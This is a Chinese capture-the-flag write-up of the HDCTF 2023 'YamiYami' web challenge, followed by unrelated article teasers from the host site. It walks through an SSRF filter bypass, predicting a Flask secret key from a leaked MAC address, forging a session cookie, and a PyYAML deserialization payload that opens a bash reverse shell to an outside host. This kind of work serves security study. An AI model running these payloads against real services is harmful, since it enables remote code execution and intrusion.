[HDCTF 2023]YamiYami

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 前言
  • 涉及知识点
  • 解题详细过程
    • session伪造
    • 反弹shell


前言

从暑假末尾一直搁置,当时卡在反弹shell搞得离flag就差一步。不过最近一两天学习完反弹shell的知识后,直接拿下此题,学习了好几个没学过知识。


涉及知识点

  1. Yami反序列化
  2. session伪造
  3. seed生成伪随机数
  4. 反弹shell
  5. 读取源码

解题详细过程

打开题目,大概看一下不同功能
在这里插入图片描述第一个Read应该是可以读取代码
然后第二个可以上传文件
最后一个点进去发现提示我们查看/app
我们点击第一个链接,输入

?url=file:///app/app.py

在这里插入图片描述发现不行,那么我们用url二次编码绕过

app/app.py  -->  %2561%2570%2570%252F%2561%2570%2570%252E%2570%2579

成功得到源码
在这里插入图片描述我们整理一下,源码如下

# encoding:utf-8
import os
import requests
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml #问题所在 pyyaml反序列化
from urllib.request import urlopenapp = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = False
BLACK_LIST = ["yaml", "YAML", "YML", "yml", "yamiyami"]
app.config['UPLOAD_FOLDER'] = "/app/uploads"@app.route('/')
def index():session['passport'] = 'YamiYami'return '''Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a><br>Here is the challenge <a href="/upload">Upload file</a><br>Enjoy it <a href="/pwd">pwd</a>'''@app.route('/pwd')
def pwd():return str(pwdpath)@app.route('/read')
def read():try:url = request.args.get('url')m = re.findall('app.*', url, re.IGNORECASE)n = re.findall('flag', url, re.IGNORECASE)if m:return "re.findall('app.*', url, re.IGNORECASE)"if n:return "re.findall('flag', url, re.IGNORECASE)"res = urlopen(url)return res.read()except Exception as ex:print(str(ex))return 'no response'def allowed_file(filename):for blackstr in BLACK_LIST:if blackstr in filename:return Falsereturn True@app.route('/upload', methods=['GET', 'POST'])
def upload_file():if request.method == 'POST':if 'file' not in request.files:flash('No file part')return redirect(request.url)file = request.files['file']if file.filename == '':return "Empty file"if file and allowed_file(file.filename):filename = secure_filename(file.filename)if not os.path.exists('./uploads/'):os.makedirs('./uploads/')file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))return "upload successfully!"return render_template("index.html")@app.route('/boogipop')
def load():if session.get("passport") == "Welcome To HDCTF2023":LoadedFile = request.args.get("file")if not os.path.exists(LoadedFile):return "file not exists"with open(LoadedFile) as f:yaml.full_load(f)f.close()return "van you see"else:return "No Auth bro"if __name__ == '__main__':`在这里插入代码片`pwdpath = os.popen("pwd").read()app.run(debug=False,host="0.0.0.0")print(app.config['SECRET_KEY'])

分析一下
定义了load()函数,用于处理/boogipop路由的请求。看看if条件,先是对session值进行验证,然后获取文件名。最后可以发现存在反序列化漏洞,因为yaml.full_load() 对用户上传的文件进行反序列化操作。

再看看upload_file()函数,就是对上传文件进行验证,拓展名是否在黑名单中。

这里的上传黑名单禁掉了Yaml等,这其实是一个难点。但是上传txt文件也能被解析成Yaml。猜测可能是:这里full_load调用了load函数,而load函数输入的是一个steam,也就是流,二进制文件,所以不管是什么后缀都无关紧要了

为了绕过load()函数的if条件限制,我们首要目的是session伪造

session伪造

其中密钥的获取方法,题目已经告诉我们

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)

关于uuid.getnode()函数

uuid.getnode() 是 Python 中的一个函数,用于获取本地计算机的 MAC 地址(物理地址)作为一个 48 位整数。它属于 uuid 模块,用于生成和操作 UUID(通用唯一标识符)。

对于伪随机数,当seed固定时,生成的随机数是可以预测的,也就是顺序为固定的,所以只要知道seed的值即可。这里看到seed使用的uuid.getnode()函数,该函数用于获取Mac地址并将其转换为整数。所以我们还需要读一下Mac地址。

?url=file:///sys/class/net/eth0/address

在这里插入图片描述生成伪随机数脚本

import uuid,random
random.seed(0x0242ac02ad42)
print(str(random.random()*233))

生成后,用工具flask-session-cookie
解密

python flask_session_cookie_manager3.py decode -s "76.57659277973795" -c "eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZPiBMQ._UO0MSFCniq6fzbPNKFVXmRAnJ8"

加密

python flask_session_cookie_manager3.py  encode -s "76.57659277973795" -t "{'passport': 'Welcome To HDCTF2023'}"

在这里插入图片描述准备好session

反弹shell

要上传的反弹shell脚本,命名为1.txt

- !!python/object/new:strargs: []state: !!python/tuple- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/f57819674z.imdo.co/29964 0>&1\"')"- !!python/object/new:staticmethodargs: [0]state:update: !!python/name:exec

在上传界面上传,然后访问./boogipop?file=uploads/1.txt
发现不行(这里就要用到伪造的session)
在这里插入图片描述
我们先打开kali监听一下

nc -lvp 1028

然后bp抓包,修改session值

在这里插入图片描述
成功反弹shell

在这里插入图片描述ls一下,发现flag.sh是假的
真的flag在/tmp里,得到flag

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/69949.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

8.(Python数模)(预测模型一)马尔科夫链预测

Python实现马尔科夫链预测 马尔科夫链原理 马尔科夫链是一种进行预测的方法&#xff0c;常用于系统未来时刻情况只和现在有关&#xff0c;而与过去无关。 用下面这个例子来讲述马尔科夫链。 如何预测下一时刻计算机发生故障的概率&#xff1f; 当前状态只存在0&#xff08;故…

虚拟机扩容

系统环境centos8&#xff0c;分两步&#xff0c;第一步先在vmware扩容&#xff0c;第二部在虚拟机内部扩容 1.vmware分配磁盘空间 2.虚拟机内部扩容 查看当前磁盘信息&#xff0c;这个是扩容之前的&#xff0c;扩容完成才会显示新的 df -h查看系统分区信息 fdisk -l查看目录…

C语言基础知识理论版(很详细)

文章目录 前述一、数据1.1 数据类型1.2 数据第一种数据&#xff1a;常量第二种数据&#xff1a;变量第三种数据&#xff1a;表达式1、算术运算符及算术表达式2、赋值运算符及赋值表达式3、自增、自减运算符4、逗号运算符及其表达式&#xff08;‘顺序求值’表达式&#xff09;5…

Spring Boot日志基础使用 设置日志级别

然后 我们来说日志 日志在实际开发中还是非常重要的 即可记录项目状态和一些特殊情况发生 因为 我们这里不是将项目 所以 讲的也不会特别深 基本还是将Spring Boot的日志设置或控制这一类的东西 相对业务的领域我们就不涉及了 日志 log 初期最明显的作用在于 开发中 你可以用…

深入浅出了解BeanFactory 和 ApplicationContext

一.区别 BeanFactory和ApplicationContext是Spring的两大核心接口&#xff0c;都可以当做Spring的容器。其中ApplicationContext是BeanFactory的子接口。 1.依赖关系 BeanFactory&#xff1a;是Spring里面最底层的接口&#xff0c;包含了各种Bean的定义&#xff0c;读取bean…

Mac 手动安装 sshpass

1. 下载安装包 https://sourceforge.net/projects/sshpass/ 解压并进入到安装包目录 tar -zxvf sshpass-xx.xx.tar.gz cd sshpass-xx.xx2. 检验环境&#xff0c;编译源码安装 ./configuremake&&make install3. 检测安装是否成功 ▶ sshpass Usage: sshpass [-f|-…

Golang专题精进

Golang专题精进 Golang单元测试Golang错误处理Golang正则表达式Golang反射Golang验证码Golang日期时间处理库CarbonGolang发送邮件库emailGolang log日志Golang log日志框架logrusGolang加密和解密应用Golang访问权限控制框架casbinGolang使用swagger生成api接口文档Golang jwt…

Vue + Element UI 实现权限管理系统 前端篇(十四):菜单功能实现菜

Vue Element UI 实现权限管理系统 前端篇&#xff08;十四&#xff09;&#xff1a;菜单功能实现 菜单功能实现 菜单接口封装 菜单管理是一个对菜单树结构的增删改查操作。 提供一个菜单查询接口&#xff0c;查询整颗菜单树形结构。 http/modules/menu.js 添加 findMenu…

uniapp 解决跨域的问题

uniapp 解决跨域的问题 我真的是个 沙雕 找对了解决办法 写错了地方 "h5" : {"devServer" : {"disableHostCheck" : true,"https": false,"proxy" : {"/app" : {"target" : "https://192.16…

MRI多任务技术及应用

目录 一、定量心血管磁共振成像&#xff08;CMR&#xff09;的改进方法二、磁共振多任务三、磁共振多任务的成像框架四、磁共振多任务的图像模型和采样和重建策略五、利用MR多任务进行快速三维稳态CEST(ss-CEST)成像5.1 利用MR多任务进行快速三维稳态CEST(ss-CEST)成像介绍5.2 …

Java调用Web Service接口

方法1. 用IDEA生成相关代码调用方法。 在IDEA插件商店下载插件 然后新建一个Java项目 创建一个包来存放生成的代码&#xff0c;(点击一下)选中这个包&#xff0c;点击Tools 填入接口url&#xff0c;记住后面拼接“?wsdl”&#xff0c;选择生成方法&#xff0c;然后OK即可生…

超详解| Yolov8模型手把手调参 | 配置 | 模型训练 | 验证 | 推理

YOLOv8是一款前沿、最先进&#xff08;SOTA&#xff09;的模型&#xff0c;基于先前YOLO版本的成功&#xff0c;引入了新功能和改进&#xff0c;进一步提升性能和灵活性。 然而&#xff0c;要充分发挥Yolov8的潜力&#xff0c;合理的参数配置是至关重要的。本文将带您深入了解…

stable diffusion实践操作-VAE

系列文章总目录 stable diffusion实践操作 文章目录 系列文章总目录一、 前言1 定义功能全局介绍2 模型全局介绍2.1 后缀以及存放位置2.2 查看大模型是否有VAE 二、正文1 原理1.1 基础原理 2 使用2.1 增加饱和度2.2 增加细节 3 下载3.1 自动下载3.2 手动下载 三 、总结 一、 前…

掌握逻辑漏洞复现技术,保护您的数字环境

环境准备 这篇文章旨在用于网络安全学习&#xff0c;请勿进行任何非法行为&#xff0c;否则后果自负。 1、支付逻辑漏洞 攻击相关介绍 介绍&#xff1a; 支付逻辑漏洞是指攻击者利用支付系统的漏洞&#xff0c;突破系统的限制&#xff0c;完成非法的支付操作。攻击者可以采…

从0到1构建界面设计系统思维

用户界面&#xff08;UI&#xff09;是人与机器之间发生交互的载体&#xff0c;也是用户体验&#xff08;UX&#xff09;的一个组成部分。用户界面由两个主要部分组成&#xff1a;视觉设计&#xff08;即传达产品的外观和感觉&#xff09;和交互设计&#xff08;即元素的功能和…

实现SSE的textevent-stream是什么?和applicationoctet-stream有什么区别?

WEB通讯技术。前端实现SSE长连接&#xff0c;nodejsexpress搭建简单服务器&#xff0c;进行接口调试&#xff0c;通过curl请求数据 点击上面的地址是可以了解轮询和长轮询以及websocket等通信模式&#xff0c;一些基础概念和速成技能&#xff0c;这篇来接着详细聊聊text/event…

Qt---对话框 事件处理 如何发布自己写的软件

目录 一、对话框 1.1 消息对话框&#xff08;QMessageBox&#xff09; 1> 消息对话框提供了一个模态的对话框&#xff0c;用来提示用户信息&#xff0c;或者询问用户问题并得到回答 2> 基于属性版本的API 3> 基于静态成员函数版本 4> 对话框案例 1、ui界面 …

2023年8月30日-[SWPUCTF 2021 新生赛]jicao

<?php highlight_file(index.php); include("flag.php"); $id$_POST[id]; $jsonjson_decode($_GET[json],true); if ($id"wllmNB"&&$json[x]"wllm") {echo $flag;} ?> 包含了flag.php文件&#xff0c;设定了一个POST请求的id和…

【AIGC专题】Stable Diffusion 从入门到企业级实战0401

一、概述 本章是《Stable Diffusion 从入门到企业级实战》系列的第四部分能力进阶篇《Stable Diffusion ControlNet v1.1 图像精准控制》第01节&#xff0c; 利用Stable Diffusion ControlNet Inpaint模型精准控制图像生成。本部分内容&#xff0c;位于整个Stable Diffusion生…

Ubuntu之apt-get系列--apt-get安装软件的方法/教程

原文网址&#xff1a;Ubuntu之apt-get系列--apt-get安装软件的方法/教程_IT利刃出鞘的博客-CSDN博客 简介 本文介绍Ubuntu使用apt-get安装软件的方法。 安装软件 先更新列表 sudo apt-get update 安装软件 sudo apt-get install <package name>[<version>]…